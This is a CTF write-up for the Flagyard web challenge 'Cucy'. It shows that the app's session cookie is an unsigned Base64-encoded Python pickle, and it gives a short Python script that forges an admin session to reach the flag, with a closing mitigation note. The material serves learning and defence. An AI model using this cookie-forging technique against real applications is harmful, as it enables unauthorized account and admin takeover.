Post

Cucy Flagyard Challenge Writeup

A writeup for the Flagyard CTF web challenge titled Cucy.

Cucy Flagyard Challenge Writeup

Introduction

This is another black-box web challenge from Flagyard titled Cucy.

Recon

First, we are greeted by a login form with two fields—username and password—with demo accounts, as shown in the following image.

Form

When invalid credentials are entered, we notice two reflected messages in two phases:

  1. Authenticating…
  2. Invalid Credentials

Form

Checking the source page, we can find some interesting JavaScript. The most important function is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function loadAdmin() {
            try {
                const response = await fetch('/admin');
                const data = await response.json();
                
                if (response.ok) {
                    document.getElementById('dataArea').innerHTML = `
                        <div class="card-body">
                            <h5 class="card-title">Admin Panel</h5>
                            <div class="row">
                                <div class="col-md-6">
                                    <h6>System Status</h6>
                                    <table class="table table-sm">
                                        <tr><td><strong>Status:</strong></td><td><span class="badge bg-success">${data.system_status}</span></td></tr>
                                        <tr><td><strong>Active Users:</strong></td><td>${data.active_users}</td></tr>
                                        <tr><td><strong>Server:</strong></td><td>${data.server_info}</td></tr>
                                    </table>
                                </div>
                                <div class="col-md-6">
                                    <h6>Flag</h6>
                                    <div class="alert alert-info">
                                        <code>${data.flag}</code>
                                    </div>
                                </div>
                            </div>
                        </div>
                    `;
                } else {
                    showError(data.error);
                }
            } catch (error) {
                showError('Failed to load admin panel');
            }
        }

The interesting part is that the fetch to /admin is a normal GET request without any request body, so an assumption can be made: the identification of the user—whether they are an admin or not—is likely done through cookies, since that information is passed by default in the headers.

Checking the cookies using Burp Suite, we got the following:

1
2
3
4
5
6
7
8
9
GET /dashboard HTTP/1.1
Host: k469f5dd54a4520741794a4df8a0664ea.playat.flagyard.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session_token=gAWVjwAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdXNlcpSMBHJvbGWUjAR1c2VylIwKY3JlYXRlZF9hdJSMCGRhdGV0aW1llIwIZGF0ZXRpbWWUk5RDCgfqCQoWLw0D6RWUhZRSlIwKZXhwaXJlc19hdJRoCEMKB+oJCwAvDQPpGZSFlFKUjBBpc19hdXRoZW50aWNhdGVklIh1Lg==
Connection: keep-alive

So, the session token is the key. All we have to do is decode it and determine whether we can forge it.

Vulnerability Discovery and Analysis

After some research, I found that the session_token field is basically a Python pickle object encoded in Base64. After decoding it, we get the following:

1
2
3
4
5
6
7
data = {
    'username': 'user', 
    'role': 'user', 
    'created_at': datetime.datetime(2026, 9, 10, 22, 47, 13, 256277), 
    'expires_at': datetime.datetime(2026, 9, 11, 0, 47, 13, 256281), 
    'is_authenticated': True
}

So there is no signature or anything—just plain pickle.dumps. We can therefore forge the session by changing the role to admin.

Exploitation and Payload

Using the following script, we can forge a new session_token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import datetime
import base64

data = {
    'username': 'admin', 
    'role': 'admin', 
    'created_at': datetime.datetime(2026, 9, 10, 22, 47, 13, 256277), 
    'expires_at': datetime.datetime(2026, 9, 11, 0, 47, 13, 256281), 
    'is_authenticated': True
}

msg = pickle.dumps(data)

print(base64.b64encode(msg))

After we get the new session, we replace it in the browser’s cookies and refresh the page. The role is now admin, and the HTML for the admin panel is shown.

Admin Takeover

Now, accessing /admin gives us the following JSON:

1
2
3
4
{"active_users":2,
"flag":"FlagY{GETYOUROWN}",
"server_info":"Cucy Server v1.3",
"system_status":"operational"}

Conclusion

This was an easy challenge in which the session token was encoded using Python’s pickle library. To mitigate this issue, you should use signed tokens or implement a mechanism from scratch, or use libraries such as Flask’s session handling.

This post is licensed under CC BY 4.0 by the author.